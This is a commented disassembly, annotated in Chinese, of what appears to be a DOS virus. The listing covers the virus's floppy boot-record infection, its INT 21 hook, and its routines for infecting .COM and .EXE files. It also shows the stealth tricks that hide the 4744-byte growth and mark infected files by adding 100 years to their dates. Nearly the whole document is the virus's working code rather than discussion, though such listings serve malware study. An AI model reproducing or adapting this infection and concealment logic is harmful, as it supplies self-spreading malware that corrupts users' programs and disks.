9E80:04BC 723D        JB  04FB
9E80:04BE 06         PUSH  ES
9E80:04BF 0E         PUSH  CS
9E80:04C0 07         POP  ES
9E80:04C1 1F         POP  DS
9E80:04C2 B90001      MOV  CX,0100
9E80:04C5 8BF3        MOV  SI,BX
9E80:04C7 BF1314      MOV  DI,1413
9E80:04CA 8BDF        MOV  BX,DI
9E80:04CC FC         CLD
9E80:04CD F3         REPZ      ;移动读出的引导记录
9E80:04CE A5         MOVSW       ;到 CS:1413
9E80:04CF 0E         PUSH  CS
9E80:04D0 1F         POP  DS
9E80:04D1 E8B8FC      CALL  018C     ;判断是否已传染
9E80:04D4 752B        JNZ  0501
9E80:04D6 B80102      MOV  AX,0201   ;已传染读出原引导记录
9E80:04D9 8B4C1B      MOV  CX,[SI+1B]
9E80:04DC 8A741F      MOV  DH,[SI+1F]
9E80:04DF E8D405      CALL  0AB6
9E80:04E2 7217        JB  04FB
9E80:04E4 A10000      MOV  AX,[0000]
9E80:04E7 3907        CMP  [BX],AX
9E80:04E9 7510        JNZ  04FB     ;无病毒转 04FB
9E80:04EB 8B7E0E      MOV  DI,[BP+0E]
9E80:04EE 8E4600      MOV  ES,[BP+00]
9E80:04F1 2BF3        SUB  SI,BX
9E80:04F3 03FE        ADD  DI,SI
9E80:04F5 8D7747      LEA  SI,[BX+47]   ;解密恢复原引导记录
9E80:04F8 E83BFB      CALL  0036
9E80:04FB E804FC      CALL  0102     ;POPA
9E80:04FE CA0200      RETF  0002
;==========================================================================
;传染引导记录程序
9E80:0501 80FA80      CMP  DL,80    ;是硬盘不传染
9E80:0504 73F5        JNB  04FB
9E80:0506 B80103      MOV  AX,0301
9E80:0509 B90100      MOV  CX,0001
9E80:050C E8A705      CALL  0AB6
9E80:050F 72EA        JB  04FB
9E80:0511 8BF2        MOV  SI,DX
9E80:0513 8BFB        MOV  DI,BX
9E80:0515 8B4513      MOV  AX,[DI+13]
9E80:0518 8B4D18      MOV  CX,[DI+18]
9E80:051B 294D13      SUB  [DI+13],CX
9E80:051E 890E6F05     MOV  [056F],CX
9E80:0522 33D2        XOR  DX,DX
9E80:0524 0BC0        OR  AX,AX
9E80:0526 74D3        JZ  04FB
9E80:0528 E3D1        JCXZ  04FB
9E80:052A F7F1        DIV  CX
9E80:052C 0BD2        OR  DX,DX
9E80:052E 75CB        JNZ  04FB
9E80:0530 8B5D1A      MOV  BX,[DI+1A]
9E80:0533 0BDB        OR  BX,BX
9E80:0535 74C4        JZ  04FB
9E80:0537 F7F3        DIV  BX
9E80:0539 0BD2        OR  DX,DX
9E80:053B 75BE        JNZ  04FB
9E80:053D 48         DEC  AX
9E80:053E 8AE8        MOV  CH,AL
9E80:0540 B101        MOV  CL,01
9E80:0542 4B         DEC  BX
9E80:0543 8BD6        MOV  DX,SI
9E80:0545 8AF3        MOV  DH,BL
9E80:0547 8BDF        MOV  BX,DI
9E80:0549 E80DFC      CALL  0159
9E80:054C 72AD        JB  04FB
9E80:054E B80903      MOV  AX,0309
9E80:0551 33DB        XOR  BX,BX
9E80:0553 E86005      CALL  0AB6
9E80:0556 72A3        JB  04FB
9E80:0558 B80103      MOV  AX,0301
9E80:055B BB1314      MOV  BX,1413
9E80:055E B90100      MOV  CX,0001
9E80:0561 32F6        XOR  DH,DH
9E80:0563 E85005      CALL  0AB6
9E80:0566 8B5E0E      MOV  BX,[BP+0E]
9E80:0569 8E5E00      MOV  DS,[BP+00]
9E80:056C 816F130F00    SUB  Word Ptr [BX+13],000F
9E80:0571 EB88        JMP  04FB
;=======================================================================
;  新 INT 21 代码部分
;=======================================================================
9E80:0573 FA         CLI
9E80:0574 2E8C16D512    MOV  CS:[12D5],SS   ;保存堆栈地址
9E80:0579 2E8926D712    MOV  CS:[12D7],SP
9E80:057E 0E         PUSH  CS
9E80:057F 17         POP  SS
9E80:0580 BCD913      MOV  SP,13D9   ;切换到内部堆栈
9E80:0583 FB         STI
9E80:0584 E865FB      CALL  00EC     ;PUSHA
9E80:0587 E421        IN  AL,21
9E80:0589 0C02        OR  AL,02
9E80:058B E621        OUT  21,AL    ;屏蔽键盘
9E80:058D 0E         PUSH  CS
9E80:058E 1F         POP  DS
9E80:058F BFFF13      MOV  DI,13FF
9E80:0592 899DC4F6     MOV  [DI+F6C4],BX   ;MOV [0AC3],BX
9E80:0596 B024        MOV  AL,24
9E80:0598 E828FB      CALL  00C3     ;取中断向量 INT 24
9E80:059B 895DE8      MOV  [DI-18],BX   ;保存于 13E7
9E80:059E 8C45EA      MOV  [DI-16],ES
9E80:05A1 C705B003     MOV  Word Ptr [DI],03B0   ;MOV AL,3
9E80:05A5 C64502CF     MOV  Byte Ptr [DI+02],CF   ;IRET
9E80:05A9 8BD7        MOV  DX,DI    ;设置新 INT 24 中断向量
9E80:05AB E826FB      CALL  00D4
9E80:05AE E851FB      CALL  0102     ;POPA
9E80:05B1 E83CFC      CALL  01F0     ;恢复原 INT 21 中断 5 字节
9E80:05B4 E835FB      CALL  00EC     ;以便调用
;==========================================================================
9E80:05B7 80FC30      CMP  AH,30
9E80:05BA 750E        JNZ  05CA
9E80:05BC 81C36606     ADD  BX,0666   ;病毒驻留检测, DOS 30H 功能
9E80:05C0 7508        JNZ  05CA     ;以 BX = F99A 调用
9E80:05C2 895E10      MOV  [BP+10],BX   ;返回 AX = 0000
9E80:05C5 895E0E      MOV  [BP+0E],BX
9E80:05C8 EB5C        JMP  0626     ;INT 21 返回
;==========================================================================
9E80:05CA 80FC11      CMP  AH,11
9E80:05CD 726F        JB  063E
9E80:05CF 80FC12      CMP  AH,12     ;DOS 11,12 功能 (DIR)
9E80:05D2 776A        JA  063E
9E80:05D4 E8EE04      CALL  0AC5     ;先调用原 INT 21
9E80:05D7 0AC0        OR  AL,AL    ;未找到目录项返回
9E80:05D9 7403        JZ  05DE
9E80:05DB E9A502      JMP  0883
9E80:05DE E84E04      CALL  0A2F     ;设置 INT 21 返回值(堆栈中)
9E80:05E1 E8AC04      CALL  0A90     ;取当前执行文件名
9E80:05E4 B84348      MOV  AX,4843   ;于 ES:DI (从 MCB 中)
9E80:05E7 AF         SCASW       ; "HC"
9E80:05E8 750C        JNZ  05F6
9E80:05EA B84B44      MOV  AX,444B   ; "DK"
9E80:05ED AF         SCASW
9E80:05EE 7506        JNZ  05F6
9E80:05F0 B8534B      MOV  AX,4B53   ; "KS" 即 CHKDSK
9E80:05F3 AF         SCASW       ;如果执行文件是 CHKDSK
9E80:05F4 7430        JZ  0626     ;则文件长度不减
9E80:05F6 E8A804      CALL  0AA1     ;取 DTA => ES:BX
9E80:05F9 33FF        XOR  DI,DI
9E80:05FB 803FFF      CMP  Byte Ptr [BX],FF
9E80:05FE 7503        JNZ  0603
9E80:0600 BF0700      MOV  DI,0007   ;扩展 FCB
9E80:0603 8D711A      LEA  SI,[BX+DI+1A]   ;
9E80:0606 E82E04      CALL  0A37     ;如果是 ARJ,LHA,PK系列
9E80:0609 741B        JZ  0626     ;BACKUP,MODEM等文件执行中
9E80:060B 803CC8      CMP  Byte Ptr [SI],C8 ;则不改动 (以下同)
9E80:060E 7216        JB  0626     ;未传染返回
9E80:0610 802CC8      SUB  Byte Ptr [SI],C8   ;已传染,年号-100
9E80:0613 C4411D      LES  AX,[BX+DI+1D]
9E80:0616 8CC1        MOV  CX,ES
9E80:0618 2D8812      SUB  AX,1288   ;文件长 - 4744 字节
9E80:061B 83D900      SBB  CX,+00
9E80:061E 7206        JB  0626
9E80:0620 89411D      MOV  [BX+DI+1D],AX
9E80:0623 89491F      MOV  [BX+DI+1F],CX
9E80:0626 E8F503      CALL  0A1E     ;恢复 INT 24,开键盘
9E80:0629 E8D6FA      CALL  0102     ;POPA
9E80:062C E8C1FB      CALL  01F0     ;修改 INT 21 头 5 字节
9E80:062F FA         CLI
9E80:0630 2E8E16D512    MOV  SS,CS:[12D5]   ;恢复原堆栈
9E80:0635 2E8B26D712    MOV  SP,CS:[12D7]
9E80:063A FB         STI
9E80:063B CA0200      RETF  0002
;========================================================================
9E80:063E 80FC4E      CMP  AH,4E    ;INT 21 之寻找文件功能
9E80:0641 721B        JB  065E
9E80:0643 80FC4F      CMP  AH,4F
9E80:0646 7716        JA  065E
9E80:0648 E87A04      CALL  0AC5     ;先调用原 INT 21
9E80:064B 7303        JNB  0650
9E80:064D E93302      JMP  0883
9E80:0650 E8DC03      CALL  0A2F     ;保存返回 AX
9E80:0653 E84B04      CALL  0AA1     ;取 DTA 于 ES:BX
9E80:0656 BFFDFF      MOV  DI,FFFD
9E80:0659 8D7719      LEA  SI,[BX+19]   ;更改文件长及时间
9E80:065C EBA8        JMP  0606
;=======================================================================
9E80:065E 3D0242      CMP  AX,4202   ;INT 21 之测试文件长功能
9E80:0661 7524        JNZ  0687
9E80:0663 E85C04      CALL  0AC2     ;调用原 INT 21
9E80:0666 72E5        JB  064D
9E80:0668 E84003      CALL  09AB     ;取系统文件表项于 ES:DI
9E80:066B 7611        JBE  067E
9E80:066D E8C703      CALL  0A37     ;
9E80:0670 740C        JZ  067E
9E80:0672 2D8812      SUB  AX,1288   ;如果传染
9E80:0675 83DA00      SBB  DX,+00     ;文件长 - 4744
9E80:0678 894515      MOV  [DI+15],AX
9E80:067B 895517      MOV  [DI+17],DX
9E80:067E F8         CLC
9E80:067F E8AD03      CALL  0A2F     ;设置 INT 21 返回值
9E80:0682 89560A      MOV  [BP+0A],DX   ;设置返回 DX
9E80:0685 EB9F        JMP  0626
;========================================================================
9E80:0687 3D0057      CMP  AX,5700   ;INT 21 之文件时间功能
9E80:068A 7412        JZ  069E
9E80:068C 3D0157      CMP  AX,5701
9E80:068F 752F        JNZ  06C0
9E80:0691 E81703      CALL  09AB     ;设置文件时间
9E80:0694 7612        JBE  06A8     ;如果传染
9E80:0696 80FEC8      CMP  DH,C8     ;未加 100 年则加 100 年
9E80:0699 730D        JNB  06A8
9E80:069B 80C6C8      ADD  DH,C8
9E80:069E E89603      CALL  0A37
9E80:06A1 7405        JZ  06A8
9E80:06A3 E81C04      CALL  0AC2
9E80:06A6 7303        JNB  06AB
9E80:06A8 E9D801      JMP  0883
9E80:06AB 80FEC8      CMP  DH,C8     ;取文件时间
9E80:06AE 7203        JB  06B3     ;如果传染,则减 100 年
9E80:06B0 80EEC8      SUB  DH,C8
9E80:06B3 F8         CLC
9E80:06B4 E87803      CALL  0A2F     ;设置 INT 21 返回值
9E80:06B7 894E0C      MOV  [BP+0C],CX   ;设置返回 CX,DX 值
9E80:06BA 89560A      MOV  [BP+0A],DX
9E80:06BD E966FF      JMP  0626
;==========================================================================
9E80:06C0 80FC3F      CMP  AH,3F    ;INT 21 之读文件功能
9E80:06C3 7403        JZ  06C8
9E80:06C5 E9BD00      JMP  0785
9E80:06C8 E8E002      CALL  09AB     ;取系统文件表项地址
9E80:06CB 76F8        JBE  06C5
9E80:06CD E86703      CALL  0A37     ;压缩程序内退出
9E80:06D0 74F3        JZ  06C5
9E80:06D2 C44511      LES  AX,[DI+11]   ;文件大小 => BX:AX
9E80:06D5 8CC3        MOV  BX,ES
9E80:06D7 C45515      LES  DX,[DI+15]   ;当前指针 => SI:DX
9E80:06DA 8CC6        MOV  SI,ES
9E80:06DC 2E83267C0700  AND  Word Ptr CS:[077C],+00 ;读出长度清零
9E80:06E2 0BF6        OR  SI,SI
9E80:06E4 754D        JNZ  0733
9E80:06E6 83FA18      CMP  DX,+18
9E80:06E9 7348        JNB  0733
9E80:06EB 51         PUSH  CX     ;当前指针 < 0000:0018
9E80:06EC 03CA        ADD  CX,DX
9E80:06EE F5         CMC
9E80:06EF 7303        JNB  06F4     ;> 64K 转 06F7
9E80:06F1 83F918      CMP  CX,+18
9E80:06F4 59         POP  CX     ;读文件头 18 字节内
9E80:06F5 7205        JB  06FC     ;转 06FC
9E80:06F7 B91800      MOV  CX,0018   ;一半在文件头 18 字节内
9E80:06FA 2BCA        SUB  CX,DX     ;CX=在文件头18字节内的字节数
9E80:06FC 50         PUSH  AX
9E80:06FD 53         PUSH  BX
9E80:06FE 52         PUSH  DX
9E80:06FF 83EA18      SUB  DX,+18     ;BX:AX = 文件长
9E80:0702 03C2        ADD  AX,DX     ;
9E80:0704 F5         CMC
9E80:0705 1BDE        SBB  BX,SI
9E80:0707 874515      XCHG  AX,[DI+15]   ;文件指针指向文件尾
9E80:070A 875D17      XCHG  BX,[DI+17]
9E80:070D 50         PUSH  AX
9E80:070E 53         PUSH  BX
9E80:070F 1E         PUSH  DS
9E80:0710 B43F        MOV  AH,3F    ;读出原文件头
9E80:0712 8B560A      MOV  DX,[BP+0A]
9E80:0715 8E5E02      MOV  DS,[BP+02]
9E80:0718 E8A703      CALL  0AC2
9E80:071B 1F         POP  DS
9E80:071C 8F4517      POP  [DI+17]   ;恢复原文件指针
9E80:071F 8F4515      POP  [DI+15]
9E80:0722 5A         POP  DX
9E80:0723 9C         PUSHF       ;由于分两部分读出
9E80:0724 03D0        ADD  DX,AX     ;所以保留第一次读出数
9E80:0726 2E01067C07    ADD  CS:[077C],AX   ;返回时加上第二次读出数
9E80:072B 9D         POPF
9E80:072C 5B         POP  BX     ;BX:AX = 文件长
9E80:072D 58         POP  AX
9E80:072E 7303        JNB  0733
9E80:0730 E95001      JMP  0883
9E80:0733 895515      MOV  [DI+15],DX   ;读出第一部分后的
9E80:0736 897517      MOV  [DI+17],SI   ;文件指针
9E80:0739 8B4E0C      MOV  CX,[BP+0C]   ;原读出字节数
9E80:073C 2E2B0E7C07    SUB  CX,CS:[077C]   ;减去已读出字节数
9E80:0741 2D8812      SUB  AX,1288   ;BX:AX = 文件长
9E80:0744 83DB00      SBB  BX,+00
9E80:0747 50         PUSH  AX
9E80:0748 53         PUSH  BX     ;BX:AX = 减去病毒后文件长
9E80:0749 2BC2        SUB  AX,DX     ;
9E80:074B 1BDE        SBB  BX,SI
9E80:074D 5B         POP  BX
9E80:074E 58         POP  AX
9E80:074F 7304        JNB  0755     ;当前指针不在病毒内转 0755
9E80:0751 33C9        XOR  CX,CX     ;当前指针在病毒内
9E80:0753 EB14        JMP  0769     ;则读出 0 字节
9E80:0755 03D1        ADD  DX,CX
9E80:0757 83D600      ADC  SI,+00     ;SI:DX = 读出后
9E80:075A 3BDE        CMP  BX,SI     ;指针将要在的位置
9E80:075C 770B        JA  0769
9E80:075E 7204        JB  0764
9E80:0760 3BC2        CMP  AX,DX
9E80:0762 7305        JNB  0769     ;未到病毒内转 0769
9E80:0764 2BD1        SUB  DX,CX     ;
9E80:0766 91         XCHG  AX,CX
9E80:0767 2BCA        SUB  CX,DX     ;CX = 到原文件尾长度
9E80:0769 B43F        MOV  AH,3F
9E80:076B 8B560A      MOV  DX,[BP+0A]
9E80:076E 2E03167C07    ADD  DX,CS:[077C]
9E80:0773 8E5E02      MOV  DS,[BP+02]
9E80:0776 E84903      CALL  0AC2     ;读出文件
9E80:0779 7204        JB  077F
9E80:077B 051800      ADD  AX,0018  ===>  ;本字节在第一次读出时保存
9E80:077E F8         CLC
9E80:077F E8AD02      CALL  0A2F     ;保存返回 AX
9E80:0782 E9A1FE      JMP  0626
;==========================================================================
9E80:0785 80FC40      CMP  AH,40    ;INT 21 之写文件功能
9E80:0788 7402        JZ  078C
9E80:078A EB52        JMP  07DE
9E80:078C E81C02      CALL  09AB     ;取系统文件表项地址
9E80:078F 76F9        JBE  078A
9E80:0791 C44511      LES  AX,[DI+11]
9E80:0794 8CC3        MOV  BX,ES     ;BX:AX = 文件长
9E80:0796 2D1800      SUB  AX,0018
9E80:0799 83DB00      SBB  BX,+00
9E80:079C 874515      XCHG  AX,[DI+15]   ;当前指针 => 文件尾-0018
9E80:079F 875D17      XCHG  BX,[DI+17]   ;BX:AX = 当前指针
9E80:07A2 50         PUSH  AX
9E80:07A3 53         PUSH  BX
9E80:07A4 B80200      MOV  AX,0002
9E80:07A7 874502      XCHG  AX,[DI+02]   ;设置为写打开
9E80:07AA 50         PUSH  AX
9E80:07AB 1E         PUSH  DS
9E80:07AC 0E         PUSH  CS
9E80:07AD 1F         POP  DS
9E80:07AE 07         POP  ES
9E80:07AF E85902      CALL  0A0B     ;读出原文件头 => CS:1270
9E80:07B2 268F4502     POP  ES:[DI+02]   ;恢复打开方式
9E80:07B6 721B        JB  07D3
9E80:07B8 26894515     MOV  ES:[DI+15],AX   ;当前指针 => 文件开始
9E80:07BC 26894517     MOV  ES:[DI+17],AX
9E80:07C0 E84B02      CALL  0A0E     ;写文件头(恢复)
9E80:07C3 720E        JB  07D3
9E80:07C5 06         PUSH  ES
9E80:07C6 1F         POP  DS
9E80:07C7 816D118812    SUB  Word Ptr [DI+11],1288
9E80:07CC 194513      SBB  [DI+13],AX   ;文件长 - 4744
9E80:07CF 806D10C8     SUB  Byte Ptr [DI+10],C8   ;恢复日期
9E80:07D3 268F4517     POP  ES:[DI+17]   ;恢复文件指针
9E80:07D7 268F4515     POP  ES:[DI+15]
9E80:07DB E9A500      JMP  0883     ;转原 INT 21
;=========================================================================
9E80:07DE 80FC3E      CMP  AH,3E    ;关闭文件
9E80:07E1 740C        JZ  07EF     ;先复制文件句柄再传染
9E80:07E3 3D004B      CMP  AX,4B00   ;执行文件
9E80:07E6 7403        JZ  07EB     ;先打开文件再传染
9E80:07E8 E99800      JMP  0883
9E80:07EB B8003D      MOV  AX,3D00
9E80:07EE 3DB445      CMP  AX,45B4
9E80:07F1 E8E501      CALL  09D9     ;将 INT 13 切换到 BIOS
9E80:07F4 E8CB02      CALL  0AC2     ;打开/复制文件
9E80:07F7 2EA3C30A     MOV  CS:[0AC3],AX
9E80:07FB B80844      MOV  AX,4408
9E80:07FE 99         CWD
9E80:07FF 727F        JB  0880
9E80:0801 E8A701      CALL  09AB    ;取系统文件表项
9E80:0804 7275        JB  087B     ;出错退出
9E80:0806 7573        JNZ  087B     ;已传染退出
9E80:0808 B33F        MOV  BL,3F
9E80:080A 225D05      AND  BL,[DI+05]   ;设备信息字
9E80:080D 8AD3        MOV  DL,BL     ;DL = 驱动器号 (A=0,B=1...)
9E80:080F 43         INC  BX     ;BX = 驱动器号 (A=1,B=2...)
9E80:0810 E8B202      CALL  0AC5     ;DOS 4408 功能
9E80:0813 B90100      MOV  CX,0001   ;检测块设备是否可移动
9E80:0816 0E         PUSH  CS
9E80:0817 07         POP  ES
9E80:0818 7205        JB  081F
9E80:081A 48         DEC  AX
9E80:081B 7418        JZ  0835     ;固定设备转 0835
9E80:081D EB05        JMP  0824     ;非可移动设备退出
9E80:081F 80FA01      CMP  DL,01
9E80:0822 7711        JA  0835     ;C 盘以上不用检测
9E80:0824 B80102      MOV  AX,0201   ;如果是软盘,检测写保护
9E80:0827 BB1314      MOV  BX,1413   ;先读出
9E80:082A CD13        INT  13
9E80:082C 724D        JB  087B
9E80:082E B80103      MOV  AX,0301   ;再写入
9E80:0831 CD13        INT  13
9E80:0833 7246        JB  087B     ;无法写入退出(写保护)
9E80:0835 41         INC  CX
9E80:0836 874D02      XCHG  CX,[DI+02]   ;设置文件打开方式为写打开
9E80:0839 51         PUSH  CX     ;保存原打开方式
9E80:083A 33C0        XOR  AX,AX
9E80:083C 866504      XCHG  AH,[DI+04]   ;文件属性
9E80:083F F6C404      TEST  AH,04     ;系统属性退出
9E80:0842 50         PUSH  AX     ;保存文件属性
9E80:0843 7530        JNZ  0875
9E80:0845 98         CBW
9E80:0846 99         CWD       ;AX 清零
9E80:0847 874515      XCHG  AX,[DI+15]   ;移动文件指针到文件头
9E80:084A 875517      XCHG  DX,[DI+17]
9E80:084D 50         PUSH  AX     ;保存原文件指针
9E80:084E 52         PUSH  DX
9E80:084F BDBDB0      MOV  BP,B0BD   ;扩展名不为 "COM"
9E80:0852 036D28      ADD  BP,[DI+28]   ;转 085D
9E80:0855 7506        JNZ  085D
9E80:0857 BDB1B2      MOV  BP,B2B1
9E80:085A 036D29      ADD  BP,[DI+29]
9E80:085D E86900      CALL  08C9        ;执行传染子程序
9E80:0860 9C         PUSHF
9E80:0861 E84701      CALL  09AB     ;取系统文件表项
9E80:0864 9D         POPF
9E80:0865 7204        JB  086B
9E80:0867 804510C8     ADD  Byte Ptr [DI+10],C8   ;文件年份+100
9E80:086B 804D0640     OR  Byte Ptr [DI+06],40  ;关闭时不设置时间
9E80:086F 8F4517      POP  [DI+17]   ;恢复系统文件表项
9E80:0872 8F4515      POP  [DI+15]   ;中相应内容
9E80:0875 8F4503      POP  [DI+03]
9E80:0878 8F4502      POP  [DI+02]
9E80:087B B43E        MOV  AH,3E    ;关闭文件
9E80:087D E84202      CALL  0AC2
9E80:0880 E85601      CALL  09D9     ;将 INT 13 恢复到 DOS
9E80:0883 E89801      CALL  0A1E     ;恢复 INT 24 及键盘状态
9E80:0886 0E         PUSH  CS
9E80:0887 1F         POP  DS
9E80:0888 B001        MOV  AL,01
9E80:088A BFE313      MOV  DI,13E3
9E80:088D 38452E      CMP  [DI+2E],AL  ;??????
9E80:0890 7532        JNZ  08C4     ;放弃重新截取 INT 21 ????
9E80:0892 E82EF8      CALL  00C3    ;取中断向量 01
9E80:0895 891D        MOV  [DI],BX
9E80:0897 8C4502      MOV  [DI+02],ES   ;保存于 13E3
9E80:089A C6452F05     MOV  Byte Ptr [DI+2F],05
9E80:089E C60697023F    MOV  Byte Ptr [0297],3F
9E80:08A3 BA7702      MOV  DX,0277   ;设置中断向量 01
9E80:08A6 E82BF8      CALL  00D4     ;到 CS:0277
9E80:08A9 E856F8      CALL  0102     ;POPA
9E80:08AC 56         PUSH  SI
9E80:08AD 9C         PUSHF
9E80:08AE 5E         POP  SI     ;标志 FLAG => SI
9E80:08AF E8BEF9      CALL  0270     ;启动 INT 01 (重新截取INT 21用)
9E80:08B2 5E         POP  SI     ;本句转 INT 01 (0277) 执行
9E80:08B3 FA         CLI
9E80:08B4 2E8E16D512    MOV  SS,CS:[12D5]   ;恢复原堆栈
9E80:08B9 2E8B26D712    MOV  SP,CS:[12D7]
9E80:08BE FB         STI       ;转原 INT 21
9E80:08BF 2EFF2EFB13    JMP  FAR CS:[13FB]
;=========================================================================
9E80:08C4 E83BF8      CALL  0102     ;POPA
9E80:08C7 EBEA        JMP  08B3     ;
;=========================================================================
9E80:08C9 0E         PUSH  CS     ;传染子程序
9E80:08CA 1F         POP  DS
9E80:08CB E83D01      CALL  0A0B     ;读文件头 18H => 1270
9E80:08CE 7244        JB  0914
9E80:08D0 8BF2        MOV  SI,DX
9E80:08D2 BF8812      MOV  DI,1288   ;文件头 18H 移动到 1288
9E80:08D5 FC         CLD       ;准备修改
9E80:08D6 F3         REPZ
9E80:08D7 A4         MOVSB
9E80:08D8 E8D000      CALL  09AB     ;取系统文件表项
9E80:08DB C44511      LES  AX,[DI+11]   ;文件大小 DX:AX
9E80:08DE 8CC2        MOV  DX,ES
9E80:08E0 894515      MOV  [DI+15],AX   ;移动文件指针 => 文件尾
9E80:08E3 895517      MOV  [DI+17],DX
9E80:08E6 0E         PUSH  CS
9E80:08E7 0E         PUSH  CS
9E80:08E8 07         POP  ES
9E80:08E9 1F         POP  DS
9E80:08EA 8B0C        MOV  CX,[SI]   ;文件头 2 字节
9E80:08EC 81F95A4D     CMP  CX,4D5A
9E80:08F0 7424        JZ  0916
9E80:08F2 81F94D5A     CMP  CX,5A4D
9E80:08F6 741E        JZ  0916     ;.EXE 文件转 0916
;==========================================================================
9E80:08F8 0BD5        OR  DX,BP     ;传染 .COM 文件
9E80:08FA 7518        JNZ  0914
9E80:08FC 3D14ED      CMP  AX,ED14   ; > 60692 字节不传染
9E80:08FF 7713        JA  0914
9E80:0901 3DE803      CMP  AX,03E8   ; < 1000 字节不传染
9E80:0904 720E        JB  0914
9E80:0906 C604E9      MOV  Byte Ptr [SI],E9   ;文件头改为 JMP XXXX
9E80:0909 FEC4        INC  AH     ;ADD AX,100H
9E80:090B 50         PUSH  AX     ;.COM 文件入口 11DA
9E80:090C 05D710      ADD  AX,10D7   ;(0100+0003+10D7)
9E80:090F 894401      MOV  [SI+01],AX
9E80:0912 EB7B        JMP  098F
9E80:0914 F9         STC
9E80:0915 C3         RET
;===========================================================================
9E80:0916 837C0CFF     CMP  Word Ptr [SI+0C],-01   ;传染 .EXE 文件
9E80:091A 75F8        JNZ  0914     ;要分配内存不为 -1 返回
9E80:091C 8BE8        MOV  BP,AX
9E80:091E 8BFA        MOV  DI,DX     ;DI:BP = 文件长
9E80:0920 B90002      MOV  CX,0200
9E80:0923 F7F1        DIV  CX
9E80:0925 0BD2        OR  DX,DX
9E80:0927 7401        JZ  092A
9E80:0929 40         INC  AX
9E80:092A 2B4404      SUB  AX,[SI+04]
9E80:092D 75E5        JNZ  0914
9E80:092F 2B5402      SUB  DX,[SI+02]   ;文件有覆盖部分不传染
9E80:0932 75E0        JNZ  0914
9E80:0934 B88812      MOV  AX,1288
9E80:0937 03C5        ADD  AX,BP
9E80:0939 13D7        ADC  DX,DI     ;DX:AX = 新文件长
9E80:093B F7F1        DIV  CX
9E80:093D 0BD2        OR  DX,DX
9E80:093F 7401        JZ  0942
9E80:0941 40         INC  AX
9E80:0942 894404      MOV  [SI+04],AX
9E80:0945 895402      MOV  [SI+02],DX   ;新映象长度
9E80:0948 BB90E9      MOV  BX,E990
9E80:094B 33C9        XOR  CX,CX
9E80:094D 3BEB        CMP  BP,BX
9E80:094F 7205        JB  0956
9E80:0951 83ED10      SUB  BP,+10
9E80:0954 E2F7        LOOP  094D
9E80:0956 83FF0F      CMP  DI,+0F     ;文件长 > 640K 不传染
9E80:0959 77B9        JA  0914
9E80:095B 91         XCHG  AX,CX     ;文件长低位 > E990 部分
9E80:095C B104        MOV  CL,04     ;转移到 DI
9E80:095E D3CF        ROR  DI,CL     ;
9E80:0960 0BC0        OR  AX,AX
9E80:0962 7404        JZ  0968
9E80:0964 2BF8        SUB  DI,AX     ;DIx10 + BP = 文件长
9E80:0966 73AC        JNB  0914
9E80:0968 2B7C08      SUB  DI,[SI+08]   ;减去文件头长
9E80:096B 55         PUSH  BP
9E80:096C 81C5DA11     ADD  BP,11DA   ;新入口 : 11DA
9E80:0970 896C14      MOV  [SI+14],BP   ;新 CS:IP
9E80:0973 897C16      MOV  [SI+16],DI
9E80:0976 81C50002     ADD  BP,0200   ;新 CS:IP+0200
9E80:097A 896C10      MOV  [SI+10],BP   ;为新堆栈
9E80:097D 897C0E      MOV  [SI+0E],DI
9E80:0980 BD0080      MOV  BP,8000
9E80:0983 D3FB        SAR  BX,CL     ;BX = E990,CL=4
9E80:0985 8B440A      MOV  AX,[SI+0A]   ;分配最小内存
9E80:0988 2BC3        SUB  AX,BX
9E80:098A 7303        JNB  098F
9E80:098C 89440A      MOV  [SI+0A],AX
;=======================================================================
9E80:098F 58         POP  AX     ;.COM 由此入
9E80:0990 E83F01      CALL  0AD2     ;产生加密代码
9E80:0993 55         PUSH  BP
9E80:0994 9D         POPF
9E80:0995 7213        JB  09AA
9E80:0997 E81100      CALL  09AB     ;取系统文件表项
9E80:099A 894D15      MOV  [DI+15],CX   ;文件指针移动到文件头
9E80:099D 894D17      MOV  [DI+17],CX
9E80:09A0 B440        MOV  AH,40
9E80:09A2 BA8812      MOV  DX,1288
9E80:09A5 0E         PUSH  CS
9E80:09A6 1F         POP  DS
9E80:09A7 E86900      CALL  0A13     ;写新文件头 18H 字节
9E80:09AA C3         RET
;=======================================================================
;取系统文件表项于 ES:DI
;返回 CY 不传染, NZ = 已传染
9E80:09AB 50         PUSH  AX
9E80:09AC 53         PUSH  BX
9E80:09AD B82012      MOV  AX,1220
9E80:09B0 2E8B1EC30A    MOV  BX,CS:[0AC3]
9E80:09B5 CD2F        INT  2F     ;取文件表地址
9E80:09B7 721D        JB  09D6
9E80:09B9 B81612      MOV  AX,1216
9E80:09BC 268A1D      MOV  BL,ES:[DI]
9E80:09BF 80FBFF      CMP  BL,FF
9E80:09C2 F5         CMC
9E80:09C3 7411        JZ  09D6
9E80:09C5 CD2F        INT  2F     ;取系统文件表项
9E80:09C7 720D        JB  09D6
9E80:09C9 06         PUSH  ES
9E80:09CA 1F         POP  DS
9E80:09CB F6450580     TEST  Byte Ptr [DI+05],80
9E80:09CF F5         CMC       ;先设置为 CY
9E80:09D0 7504        JNZ  09D6     ;远程文件不传染
9E80:09D2 F6451080     TEST  Byte Ptr [DI+10],80
9E80:09D6 5B         POP  BX     ;判是否已传染
9E80:09D7 58         POP  AX     ;没有传染返回 NZ,NC
9E80:09D8 C3         RET
;==========================================================================
;切换 INT 13 / INT 14 / INT 15 / INT 40
;(DOS INT 与 BIOS 初始 INT 之间)
9E80:09D9 50         PUSH  AX
9E80:09DA 53         PUSH  BX
9E80:09DB 52         PUSH  DX
9E80:09DC 1E         PUSH  DS
9E80:09DD B013        MOV  AL,13
9E80:09DF BFEB13      MOV  DI,13EB
9E80:09E2 0E         PUSH  CS
9E80:09E3 1F         POP  DS
9E80:09E4 E8DCF6      CALL  00C3     ;取中断向量
9E80:09E7 8CC2        MOV  DX,ES     ;于 ES:BX
9E80:09E9 871D        XCHG  BX,[DI]   ;保存于 13EB
9E80:09EB FC         CLD
9E80:09EC AF         SCASW
9E80:09ED 87D3        XCHG  DX,BX
9E80:09EF 871D        XCHG  BX,[DI]
9E80:09F1 AF         SCASW
9E80:09F2 8EDB        MOV  DS,BX
9E80:09F4 E8DDF6      CALL  00D4     ;设置 BIOS 初始值
9E80:09F7 3C15        CMP  AL,15
9E80:09F9 B015        MOV  AL,15
9E80:09FB 7305        JNB  0A02
9E80:09FD 83C704      ADD  DI,+04
9E80:0A00 EBE0        JMP  09E2
9E80:0A02 B040        MOV  AL,40
9E80:0A04 74DC        JZ  09E2
9E80:0A06 1F         POP  DS
9E80:0A07 5A         POP  DX
9E80:0A08 5B         POP  BX
9E80:0A09 58         POP  AX
